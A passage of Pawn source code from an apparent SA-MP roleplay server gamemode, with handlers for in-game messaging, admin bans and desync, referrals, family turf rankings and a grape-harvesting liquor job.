if(PINFO[playerid][pAdmin] < 10) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command");
tmp = strtokEx(cmdtext, idx);
if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /msgall <Message>");
new message[114];
new gathername[26];
new ferestande[30];
ferestande = "{FF0000}SERVER{FFFFFF}";
format(message,113,tmp);
new length = strlen(tmp);
if(length >= 112) return SCM(playerid, COLOR_YELLOW2, "Error: Your message is too long.");
if(length < 1) return SCM(playerid, COLOR_YELLOW2, "Error: Your message is too low.");
new query[1024];
new setter = 0;
mysql_format(handle, query, sizeof(query), "SELECT * FROM `users`");
new Cache:result=mysql_query(handle, query, true);
new KeyOomad[60];
new year,month,day,hour,minute,sec;
gettime(hour,minute,sec);
getdate(year,month,day);
new NaneJoon[60];
format(NaneJoon,60,"%s%d.%s%d.%s%d %s%d:%s%d",(year < 10) ? ("0") : (""),year,(month < 10) ? ("0") : (""),month,(day < 10) ? ("0") : (""),day,(hour < 10) ? ("0") : (""),hour,(minute < 10) ? ("0") : (""),minute);
strcpy(KeyOomad,NaneJoon,60);
if(PINFO[playerid][pAdmin]<12)CensorText(message);
for(new i = 0;i<cache_num_rows(); i++)
{
cache_get_field_content(i,"pName",gathername,handle,sizeof(gathername));
mysql_format(handle, query, sizeof(query), "INSERT INTO `messages` (`Receiver`,`Sender`,`Message`,`Time`,`Readed`) VALUES ('%e','%e','%e','%e','%d')", gathername,ferestande,message,KeyOomad,setter);
mysql_tquery(handle, query);
}
cache_delete(result);
for(new l=0;l<MAX_PLAYERS;l++)
{
if(IsPlayerConnected(l))
{
if(gPlayerLogged[playerid] != 0)
{
SCM(l, COLOR_Good, "You have a new message in your messages box.");
}
}
}
new PMer[144];
format(PMer, 144, "%s{FFFF00} sent to {b8ffdb}all{FFFF00}.",message);
SWM(playerid, COLOR_Good, PMer);
new pmmmm[70];
format(pmmmm, sizeof(pmmmm), "{ffffff}Admin %s sent a message to all",RPName(playerid));
AdminWarn(pmmmm);
if(IsAdv(message)&&PINFO[playerid][pAdmin]<12){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) is advertising an IP (Possibly IP Address)",RPName(playerid), playerid);AdminWarn(adwn);}
for(new i; i < sizeof(SusWords); i++)
{
if(PINFO[playerid][pAdmin] < 12)
{
if(strfind(message, SusWords[i], true) != -1)
{
new mnsmns[144];
format(mnsmns, sizeof(mnsmns), "[AD-{00FF00}MESSAGE-ALL{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", RPName(playerid), playerid, message);
SendAdminMMessage(COLOR_SINAGHERMEZ,mnsmns);
break;
}
}
}
return 1;
}
		
		
		
		
if(strcmp(cmd, "/message", true) == 0)
{
        if(PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pHelper] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use this command.");
        if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command");
		new fullname[25];
		new message[112];
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /message <FullName> <Message>");
		format(fullname,25,tmp);
		new playa=ReturnUserEx(tmp);
		tmp = strtokEx(cmdtext, idx);
		if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /message <FullName> <Message>");
		format(message,112,tmp);
		new length = strlen(tmp);
		if(length >= 112) return SCM(playerid, COLOR_YELLOW2, "Error: Your message is too long.");
		if(length < 1) return SCM(playerid, COLOR_YELLOW2, "Error: Your message is too low.");
		if(!strcmp(PINFO[playerid][pName], fullname, false)) return SCM(playerid, COLOR_YELLOW2, "Error: You couldn't send a message to yourself.");
		new query[200];
		mysql_format(handle, query, sizeof(query), "SELECT * FROM `users` WHERE pName='%e'",fullname);
		new Cache:result=mysql_query(handle, query, true);
		if(cache_num_rows()==0)return cache_delete(result),SCM(playerid,COLOR_YELLOW2,"Error: That player is not exist in the database.");
		cache_delete(result);
		
	    new KeyOomad[60];
	    new setter = 0;
        new year,month,day,hour,minute,sec;
	    gettime(hour,minute,sec);
	    getdate(year,month,day);
	    new NaneJoon[60];
	    format(NaneJoon,60,"%s%d.%s%d.%s%d %s%d:%s%d",(year < 10) ? ("0") : (""),year,(month < 10) ? ("0") : (""),month,(day < 10) ? ("0") : (""),day,(hour < 10) ? ("0") : (""),hour,(minute < 10) ? ("0") : (""),minute);
	    strcpy(KeyOomad,NaneJoon,60);
		
		if(PINFO[playerid][pAdmin]<12)CensorText(message);
		mysql_format(handle, query, sizeof(query), "INSERT INTO `messages` (`Receiver`,`Sender`,`Message`,`Time`,`Readed`) VALUES ('%e','%e','%e','%e','%d')", fullname,PINFO[playerid][pName],message,KeyOomad,setter);
		mysql_tquery(handle, query);
		if(playa!=INVALID_PLAYER_ID&&PINFO[playa][pOnline] != 0)
		{
		SCM(playa, COLOR_Good, "You have a new message in your messages box.");
		}
		new PMer[144];
		format(PMer, 144, "%s{FFFF00} sent to {b8ffdb}%s{FFFF00}.",message,fullname);
		SWM(playerid, COLOR_Good, PMer);
		new ahmadzoghi[128];
		if(PINFO[playerid][pAdmin] >= 1)
		{
	  format(ahmadzoghi, sizeof(ahmadzoghi), "{ffffff}Admin %s sent a message to %s",RPName(playerid), fullname);
      AdminWarn(ahmadzoghi);
      }
      if(PINFO[playerid][pHelper] >= 1 && PINFO[playerid][pAdmin] == 0)
      {
	  format(ahmadzoghi, sizeof(ahmadzoghi), "{ffffff}Helper %s sent a message to %s",RPName(playerid), fullname);
      AdminWarn(ahmadzoghi);
      }
      if(IsAdv(message)&&PINFO[playerid][pAdmin]<12){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) is advertising an IP (Possibly IP Address)",RPName(playerid), playerid);AdminWarn(adwn);}
   		  for(new i; i < sizeof(SusWords); i++)
		  {
			 if(PINFO[playerid][pAdmin] < 12)
			 {
			  if(strfind(message, SusWords[i], true) != -1)
			  {
				  new mnsmns[144];
				  format(mnsmns, sizeof(mnsmns), "[AD-{00FF00}MESSAGE{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", RPName(playerid), playerid, message);
				  SendAdminMMessage(COLOR_SINAGHERMEZ,mnsmns);
				  break;
			  }
			 }
		  }
	return 1;
}
if(strcmp(cmd, "/checkmsgs", true) == 0)
{
if(PINFO[playerid][pAdmin] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command");
new fullname[25];
tmp = strtok(cmdtext, idx);
if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /checkmsgs <FullName>");
format(fullname,25,tmp);
new query[100];
mysql_format(handle, query, sizeof(query), "SELECT * FROM `users` WHERE pName='%e'",fullname);
new Cache:ress=mysql_query(handle, query, true);
new admin;
admin=cache_get_field_content_int(0,"pAdmin");
new asassas[MAX_PLAYER_NAME];
cache_get_field_content(0,"pName",asassas,handle,sizeof(asassas));
if(!strcmp(PINFO[playerid][pName], asassas, false)) return SCM(playerid, COLOR_YELLOW2, "Error: You can't check yourself messages.");
if(PINFO[playerid][pAdmin] < admin) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
cache_delete(ress);
mysql_format(handle, query, sizeof(query), "SELECT * FROM `messages` WHERE Receiver='%e'",fullname);
new Cache:result=mysql_query(handle, query, true);
new rows,senderzx[25],msg[128],tIme[40],str[150],finalstr[4096];
if((rows=cache_num_rows())==0)
{
SCM(playerid, COLOR_SINARANG, "That player's messages box is empty.");
cache_delete(result);
return 1;
}
	for(new i=0;i<rows;i++)
	{
		cache_get_field_content(i,"Sender",senderzx,handle,sizeof(senderzx));
		cache_get_field_content(i,"Message",msg,handle,sizeof(msg));
		cache_get_field_content(i,"Time",tIme,handle,sizeof(tIme));
		Selected[playerid][i]=cache_get_field_content_int(i,"ID");
		if (strlen(msg) > 30)
		{
			strmid(str, msg, 0, 30);
			format(str, sizeof(str), "%s(%s): %s...\n",senderzx, tIme, str);
		}
		else
		{
			format(str, sizeof(str), "%s(%s): %s\n",senderzx,tIme, msg);
		}
		strcat(finalstr, str);
		if(i==9)break;
	}
	ShowPlayerDialog(playerid, DIALOG_PMS, DIALOG_STYLE_LIST, "Messages Box", finalstr, "{00FF00}View","{FF0000}Cancel");
	AdminCheckedMSG[playerid] = 1;
	if(cache_num_rows()>= 11)
	{
	SCM(playerid, COLOR_SINARANG, "Warning: This player has more than 10 messages, you should delete some of their messages to see the other messages.");
	}
cache_delete(result);
return 1;
}
if(strcmp(cmd, "/bugs", true) == 0)
{
if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	new query[50];
	mysql_format(handle, query, sizeof(query), "SELECT * FROM `bugs`");
	new Cache:result=mysql_query(handle, query, true);
	new rows,subject[129],str[150],finalstr[4096];
	if((rows=cache_num_rows())==0)
	{
		SCM(playerid, COLOR_SINARANG, "There isn't any bugs reported.");
		cache_delete(result);
		return 1;
	}
	for(new i=0;i<rows;i++)
	{
		cache_get_field_content(i,"Subject",subject,handle,sizeof(subject));
		Selectedx[playerid][i]=cache_get_field_content_int(i,"ID");
		if (strlen(subject) > 30)
		{
			strmid(str, subject, 0, 30);
			format(str, sizeof(str), "%s...\n",subject);
		}
		else
		{
			format(str, sizeof(str), "%s\n",subject);
		}
		strcat(finalstr, str);
		if(i==9)break;
	}
	ShowPlayerDialog(playerid, DIALOG_BUGS, DIALOG_STYLE_LIST, "Reported bugs", finalstr, "View","Cancel");
	if(cache_num_rows()>= 11)
	{
	SCM(playerid, COLOR_SINARANG, "Warning: Reported bugs are more than 10, so just 10 of them are showed.");
	}
	cache_delete(result);
	return 1;
}
if(strcmp(cmd, "/messages", true) == 0)
{
if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command");
	new query[100];
	mysql_format(handle, query, sizeof(query), "SELECT * FROM `messages` WHERE Receiver='%e'",PINFO[playerid][pName]);
	new Cache:result=mysql_query(handle, query, true);
	new rows,senderzx[25],msg[128],tIme[40],str[150],finalstr[4096];
	if((rows=cache_num_rows())==0)
	{
		SCM(playerid, COLOR_SINARANG, "Your messages box is empty.");
		cache_delete(result);
		return 1;
	}
	for(new i=0;i<rows;i++)
	{
		cache_get_field_content(i,"Sender",senderzx,handle,sizeof(senderzx));
		cache_get_field_content(i,"Message",msg,handle,sizeof(msg));
		cache_get_field_content(i,"Time",tIme,handle,sizeof(tIme));
		Selected[playerid][i]=cache_get_field_content_int(i,"ID");
		if (strlen(msg) > 30)
		{
			strmid(str, msg, 0, 30);
			format(str, sizeof(str), "%s (%s): %s...\n",senderzx, tIme, str);
		}
		else
		{
			format(str, sizeof(str), "%s (%s): %s\n",senderzx,tIme, msg);
		}
		strcat(finalstr, str);
		if(i==9)break;
	}
	ShowPlayerDialog(playerid, DIALOG_PMS, DIALOG_STYLE_LIST, "Messages Box", finalstr, "{00FF00}View","{FF0000}Cancel");
	if(cache_num_rows()>= 11)
	{
	SCM(playerid, COLOR_SINARANG, "Warning: You have more than 10 messages, you should delete some of your messages to see the other messages.");
	}
	cache_delete(result);
	return 1;
}
if(strcmp(cmd, "/desync", true) == 0)
{
        if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
        if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command");
		new id,sss[50];
	    tmp = strtok(cmdtext, idx);
	    if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /desync <PlayerID/PartOfName>");
		id = ReturnUser6(tmp);
		if(!IsPlayerConnected(id)) return SCM(playerid,COLOR_YELLOW2,"Error: That player is not connected.");
		if(id == playerid) return SCM(playerid, COLOR_YELLOW2, "Error: You couldn't desync yourself.");
		if(PINFO[id][pAdmin] >= 1 && PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: You couldn't desync admins.");
		if(PINFO[id][pAdmin] > PINFO[playerid][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		if(!Desync[id])
		{
		    printf("Admin %s has desynced %s",RPName(playerid),RPName(id));
			Desync[id]=true;
		    format(sss, 50, "You have desynced %s",RPName(id));
		    SendMessage(playerid, COLOR_SINARANG, sss);
		}
		else
		{
            printf("Admin %s has undesynced %s",RPName(playerid),RPName(id));
			Desync[id]=false;
			format(sss, 50, "You have undesynced %s",RPName(id));
		    SendMessage(playerid, COLOR_SINARANG, sss);
		}
	return 1;
}
if(strcmp(cmd, "/asvstats", true) == 0)
{
        if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command");
		new nonmulties,activeplayers,loggedins,sleeps;
		foreach(new i:Player)
		{
			if(gPlayerLogged[i])loggedins+=1;
			if(InSleep[i])sleeps+=1;
			if(!Multiye[i])nonmulties+=1;
			if(!AFK[i]&&AFKTime[i]<=70&&NetStats_MessagesRecvPerSecond(i)!=1)activeplayers+=1;
		}
		new str[100];
		format(str,sizeof(str),"Total logged in players: %i, total sleep: %i, total non-multi: %i",loggedins,sleeps,nonmulties);
		SCM(playerid,COLOR_SINARANGNOT,str);
		format(str,sizeof(str),"Server calculated active players: %i",activeplayers);
		SCM(playerid,COLOR_SINARANGNOT,str);
	return 1;
}




		if(!strcmp(cmd,"/referrals",true))
{
	   new lkquery[512];
	   new myref = PINFO[playerid][pID];
	   mysql_format(handle, lkquery, 500, "SELECT * FROM `users` WHERE pReferral='%d'", PlayerInfo[playerid][pID]);
       mysql_tquery(handle, lkquery, "ShowRefff","ii",playerid, myref);
	return 1;
}




		if(strcmp(cmd, "/checkref", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command");
		if(PINFO[playerid][pAdmin] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use this command.");
		if(PINFO[playerid][pAdmin] == 8) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use this command.");
		if(PINFO[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use this command.");
		tmp = strtok(cmdtext, idx);
	    if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /checkref <ReferralID>");
	    new adad = strval(tmp);
	    new query[512];
	    mysql_format(handle,query,sizeof(query),"SELECT * FROM `users` WHERE pID='%d'", adad);
        new Cache:result=mysql_query(handle,query);
        if(cache_num_rows()==0) return SCM(playerid,COLOR_YELLOW2,"Error: This referral isn't exist.");
        new admine = cache_get_field_content_int(0,"pAdmin");
        new naaaaaame[25];
        if(admine > PINFO[playerid][pAdmin]) return SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command for your higher ranks people.");
        cache_get_field_content(0,"pName",naaaaaame,handle,sizeof(naaaaaame));
        if(!strcmp(PINFO[playerid][pName], naaaaaame, true)) return SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command for yourself.");
        cache_delete(result);
        mysql_format(handle,query,sizeof(query),"SELECT * FROM `users` WHERE pReferral='%d'", adad);
        new Cache:PakKon=mysql_query(handle,query);
    new rows = cache_num_rows();
	if(cache_num_rows()==0) return SCM(playerid,COLOR_YELLOW2,"Error: No body used this referral.");
	new longstr[1512],Namor[MAX_PLAYER_NAME+1],str[32],ons,ontxt[10];
	format(longstr,sizeof(longstr),"Name\t\tLevel\t\tStatus");
	for(new i=0;i<rows;i++)
	{
       cache_get_field_content(i,"pName",Namor,handle,sizeof(Namor));
	   ons = cache_get_field_content_int(i,"pOnline");
	   if(ons == 0) ontxt = "Offline";
	   if(ons == 1) ontxt = "Online";
	   if(ons == 2) ontxt = "Sleep";
	   format(str,sizeof(str),"\n%s\t\t\t%i\t\t\t%s",Namor,cache_get_field_content_int(i,"pLevel"),ontxt);
	   strcat(longstr,str);
	}
	ShowPlayerDialog(playerid,1245,DIALOG_STYLE_TABLIST_HEADERS,"This referral users:",longstr,"Done","");
		cache_delete(PakKon);
		return 1;
		}
 		if(strcmp(cmd, "/buyfood", true) == 0)
		{
		if(!PTP(2, playerid, 754.454162, 1457.592163, 1102.741943)) return SCM(playerid, COLOR_YELLOW2, "Error: You must be close to Fanny Batter's Brothel shop.");
		ShowPlayerDialog(playerid,6804,DIALOG_STYLE_LIST,"Choose a food","Hotdog\nHamburger\nBeer","Buy","Cancel");
		return 1;
		}
		if(strcmp(cmd, "/shoprob", true) == 0)
		{
		if(PINFO[playerid][pLevel] < 3) return SCM(playerid, COLOR_YELLOW2, "Error: Your level isn't high enough.");
		if(IsACop(playerid)) return SCM(playerid, COLOR_YELLOW2, "Error: You couldn't use this command.");
		if(Robbing[playerid] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You couldn't use this command now.");
		if(GetPlayerWantedLevel(playerid) >= 3) return SCM(playerid, COLOR_YELLOW2, "Error: Your wanted levels is above 2.");
		if(!PTP(1, playerid, 755.596557, 1458.845458, 1102.741943)) return SCM(playerid, COLOR_YELLOW2, "Error: You must be in front of cash register machine.");
		if(PINFO[playerid][pSRob] < 3) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have enough shop rob points.");
		LoopingAnim(playerid, "INT_SHOP", "shop_cashier", 4.0, 1, 0, 0, 0, 0);
		TIMer[playerid] = SetTimerEx("CheckIfEnd", 15000, false, "i", playerid);
		PlayerInfo[playerid][pSRob] -= 3;
		SaveKonVal(playerid, "pSRob", PINFO[playerid][pSRob]);
		return 1;
		}
		

		if(strcmp(cmd, "/top", true) == 0)
		{
         SCM(playerid,COLOR_GRAD1,"|__________Top Families__________|");
         new Turfsz[7];
         for(new i=0;i<sizeof(TurfInfo);i++)
         {
          if(TurfInfo[i][zOwner]==0)continue;
          switch(GetFacIDFromName(TurfInfo[i][zOwner]))
          {
           case 5:Turfsz[0]+=1;
           case 6:Turfsz[1]+=1;
           case 12:Turfsz[2]+=1;
           case 13:Turfsz[3]+=1;
           case 14:Turfsz[4]+=1;
           case 15:Turfsz[5]+=1;
          }
         }
         new str[64];
         for(new i=0;i<sizeof(Turfsz);i++)
         {
		 if(i == 0)
		 {
		 if(Turfsz[i] >= 2)
		 {
		  format(str,sizeof(str),"Silence Mafia: %i turfs.",Turfsz[i]);
          SCM(playerid,COLOR_GRAD2,str);
         }
         if(Turfsz[i] < 2)
         {
		  format(str,sizeof(str),"Silence Mafia: %i turf.",Turfsz[i]);
          SCM(playerid,COLOR_GRAD2,str);
         }
		 }
		 if(i == 1)
		 {
		 if(Turfsz[i] >= 2)
		 {
		  format(str,sizeof(str),"The Killers Family: %i turfs.",Turfsz[i]);
          SCM(playerid,COLOR_GRAD2,str);
		 }
		 if(Turfsz[i] < 2)
		 {
		  format(str,sizeof(str),"The Killers Family: %i turf.",Turfsz[i]);
          SCM(playerid,COLOR_GRAD2,str);
		 }
		 }
		 if(i == 2)
		 {
		 if(Turfsz[i] >= 2)
		 {
		  format(str,sizeof(str),"Dangerous Tigers Family: %i turfs.",Turfsz[i]);
          SCM(playerid,COLOR_GRAD2,str);
		 }
		 if(Turfsz[i] < 2)
		 {
		  format(str,sizeof(str),"Dangerous Tigers Family: %i turf.",Turfsz[i]);
          SCM(playerid,COLOR_GRAD2,str);
		 }
		 }
		 if(i == 3)
		 {
		 if(Turfsz[i] >= 2)
		 {
		  format(str,sizeof(str),"Legendary Men Family: %i turfs.",Turfsz[i]);
          SCM(playerid,COLOR_GRAD2,str);
		 }
		 if(Turfsz[i] < 2)
		 {
		  format(str,sizeof(str),"Legendary Men Family: %i turf.",Turfsz[i]);
          SCM(playerid,COLOR_GRAD2,str);
		 }
		 }
		 if(i == 4)
		 {
		 if(Turfsz[i] >= 2)
		 {
		  format(str,sizeof(str),"Fast N Furious Family: %i turfs.",Turfsz[i]);
          SCM(playerid,COLOR_GRAD2,str);
		 }
		 if(Turfsz[i] < 2)
		 {
		  format(str,sizeof(str),"Fast N Furious Family: %i turf.",Turfsz[i]);
          SCM(playerid,COLOR_GRAD2,str);
		 }
		 }
		 if(i == 5)
		 {
		 if(Turfsz[i] >= 2)
		 {
		  format(str,sizeof(str),"Storm Men Family: %i turfs.",Turfsz[i]);
          SCM(playerid,COLOR_GRAD2,str);
		 }
		 if(Turfsz[i] < 2)
		 {
		  format(str,sizeof(str),"Storm Men Family: %i turf.",Turfsz[i]);
          SCM(playerid,COLOR_GRAD2,str);
		 }
		 }
         }
        return 1;
        }
		if(strcmp(cmd, "/cban", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		if(PINFO[playerid][pAdmin] == 7 && PINFO[playerid][pHAgr] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		if(PINFO[playerid][pAdmin] == 8 && PINFO[playerid][pHAgr] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		if(PINFO[playerid][pAdmin] == 9 && PINFO[playerid][pHAgr] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		tmp = strtok(cmdtext, idx);
		new taraf;
		if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /cban <Playerid/PartOfName>");
		taraf = ReturnUser6(tmp);
		PlayerInfo[taraf][pChBan] += 1;
		SaveKonVal(taraf, "pChBan", PINFO[taraf][pChBan]);
		new fullname[25];
		GetPlayerName(taraf, fullname, sizeof(fullname));
		if(PINFO[taraf][pLevel] < 3)
		{
		if(PINFO[taraf][pLanguage] == 1)
		{
		BanPlayer(playerid,fullname,0,"Estefade az taghallob", 1,0);
		}
		else
		{
		BanPlayer(playerid,fullname,0,"Using cheats", 1,0);
		}
		return 1;
		}
		if(PINFO[taraf][pLevel] >= 3)
		{
		if(PINFO[taraf][pChBan] == 1)
		{
		if(PINFO[taraf][pLanguage] == 1)
		{
		BanPlayer(playerid,fullname,20,"Estefade az taghallob", 1,0);
		}
		else
		{
		BanPlayer(playerid,fullname,20,"Using cheats", 1,0);
		}
		}
		if(PINFO[taraf][pChBan] == 2)
		{
		if(PINFO[taraf][pLanguage] == 1)
		{
		BanPlayer(playerid,fullname,30,"Estefade az taghallob", 1,0);
		}
		else
		{
		BanPlayer(playerid,fullname,30,"Using cheats", 1,0);
		}
		}
		if(PINFO[taraf][pChBan] >= 3)
		{
		if(PINFO[taraf][pLanguage] == 1)
		{
		BanPlayer(playerid,fullname,0,"Estefade az taghallob", 1,0);
		}
		else
		{
		BanPlayer(playerid,fullname,0,"Using cheats", 1,0);
		}
		}
		return 1;
		}
		return 1;
		}
		
		if(strcmp(cmd, "/tban", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		if(PINFO[playerid][pAdmin] == 7 && PINFO[playerid][pHAgr] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		if(PINFO[playerid][pAdmin] == 8 && PINFO[playerid][pHAgr] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		if(PINFO[playerid][pAdmin] == 9 && PINFO[playerid][pHAgr] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		tmp = strtok(cmdtext, idx);
		new taraf;
		if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /tban <Playerid/PartOfName>");
		taraf = ReturnUser6(tmp);
		PlayerInfo[taraf][pTBan] += 1;
		SaveKonVal(taraf, "pTBan", PINFO[taraf][pTBan]);
		new fullname[25];
		GetPlayerName(taraf, fullname, sizeof(fullname));
		if(PINFO[taraf][pLevel] < 3)
		{
		if(PINFO[taraf][pLanguage] == 1)
		{
		BanPlayer(playerid,fullname,0,"Tabligh", 1,0);
		}
		else
		{
		BanPlayer(playerid,fullname,0,"Advertisement", 1,0);
		}
		return 1;
		}
		if(PINFO[taraf][pLevel] >= 3)
		{
		if(PINFO[taraf][pTBan] == 1)
		{
		if(PINFO[taraf][pLanguage] == 1)
		{
		BanPlayer(playerid,fullname,20,"Tabligh", 1,0);
		}
		else
		{
		BanPlayer(playerid,fullname,20,"Advertisement", 1,0);
		}
		}
		if(PINFO[taraf][pTBan] == 2)
		{
		if(PINFO[taraf][pLanguage] == 1)
		{
		BanPlayer(playerid,fullname,30,"Tabligh", 1,0);
		}
		else
		{
		BanPlayer(playerid,fullname,30,"Advertisement", 1,0);
		}
		}
		if(PINFO[taraf][pTBan] >= 3)
		{
		if(PINFO[taraf][pLanguage] == 1)
		{
		BanPlayer(playerid,fullname,0,"Tabligh", 1,0);
		}
		else
		{
		BanPlayer(playerid,fullname,0,"Advertisement", 1,0);
		}
		}
		return 1;
		}
		return 1;
		}
		if(strcmp(cmd, "/mow", true) == 0)
		{
		if(PINFO[playerid][pLevel] < 3) return SCM(playerid, COLOR_YELLOW2, "Error: You need at least level 3 or higher to mow.");
		if(PINFO[playerid][pJob] != 23) return SCM(playerid, COLOR_YELLOW2, "Error: You are not a Liquor Dealer.");
		if(PINFO[playerid][pCard] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have any sickle.");
		if(PINFO[playerid][pDJ] >= 500) return SCM(playerid, COLOR_YELLOW2, "Error: You can't mow anymore.");
		if(!PTP(80.0, playerid, -194.982620, -5.450860, 3.109395)) return SCM(playerid, COLOR_YELLOW2, "Error: This place hasn't any grape to mow.");
        if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) return SCM(playerid,COLOR_YELLOW2,"Error: You can't mow when you aren't On-Foot.");
        if(MOWED[playerid] == 1) return 1;
		PlayerInfo[playerid][pCard] -= 1;
		SaveKonVal(playerid, "pCard", PINFO[playerid][pCard]);
		MOWED[playerid] = 1;
		if(PINFO[playerid][pCard] == 0) SCM(playerid, COLOR_LIGHTRED, "Warning: Your sickle brokes.");
		LoopingAnim(playerid, "BOMBER", "BOM_Plant", 4.0, 0, 0, 0, 0, 0);
		SickTime[playerid] = SetTimerEx("SickTimeZ", 2500, false, "i", playerid);
		return 1;
		}
		if(strcmp(cmd, "/convertgrape", true) == 0)
		{
		if(PINFO[playerid][pLevel] < 3) return SCM(playerid, COLOR_YELLOW2, "Error: You need at least level 3 or higher to mow.");
        if(PINFO[playerid][pJob] != 23) return SCM(playerid, COLOR_YELLOW2, "Error: You are not a Liquor Dealer.");
		if(!PTP(2.0, playerid, 1591.281982, 1080.407104, 10.759150)) return SCM(playerid, COLOR_YELLOW2, "Error: You can't convert your grapes here.");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /convertgrape <Grapes>");
		new grapes;
		grapes = strval(tmp);
		new payout;
		new payout2;
		new grapecon;
		if(grapes > PlayerInfo[playerid][pDJ]) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't that much grapes.");
		if(grapes < 20) return SCM(playerid, COLOR_YELLOW2, "Error: You need at least 20 grapes to convert them to liquor.");
		payout = (grapes/20);
		grapecon = (grapes/20);
		payout2 = (payout*1000);
		if(payout2 > GetPlayerPool(playerid)) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough cash.");
		new begoo[30];
		format(begoo, sizeof(begoo), "~R~-$%s",FormatNumber(payout2));
        GameTextForPlayer(playerid, begoo, 5000, 1);
        GivePlayerPool(playerid, -payout2);
        TogglePlayerControllable(playerid, 0);
        LoopingAnim(playerid,"GYMNASIUM","gym_tread_celebrate", 4.0, 1, 0, 0, 0, 0);
        PlayerInfo[playerid][pDJ] -= grapes;
		SaveKonVal(playerid, "pDJ", PINFO[playerid][pDJ]);
        ConvTime[playerid] = SetTimerEx("ConvTimeZ", 30000, false, "iii", playerid,grapecon,grapes);
		return 1;
		}
		
		
		if(strcmp(cmd, "/sellgrapes", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pDJ] < 1) return SendMessage(playerid, COLOR_YELLOW2, "Error: You haven't any grapes.");
				if(PINFO[playerid][pJob] != 23) return SCM(playerid, COLOR_YELLOW2, "Error: You are not a Liquor Dealer.");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /sellgrapes <Playerid/PartOfName> <Amount> <Price>");
					return 1;
				}
				new playa;
				new money;
				new needed;
				playa = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) { SendMessage(playerid, COL_SYN, "Syntax: /sellgrapes <Playerid/PartOfName> <Amount> <Price>"); return 1; }
				needed = strval(tmp);
